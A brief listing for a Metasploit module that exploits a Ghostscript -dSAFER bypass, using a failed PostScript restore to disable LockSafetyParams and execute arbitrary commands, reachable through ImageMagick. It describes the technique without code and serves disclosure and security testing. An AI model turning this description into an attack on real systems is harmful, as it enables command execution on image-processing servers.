Ghostscript Failed Restore Command Execution

Ghostscript Failed Restore Command Execution
Posted Sep 6, 2018
Authored by Tavis Ormandy, wvu | Site metasploit.com

This Metasploit module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript.
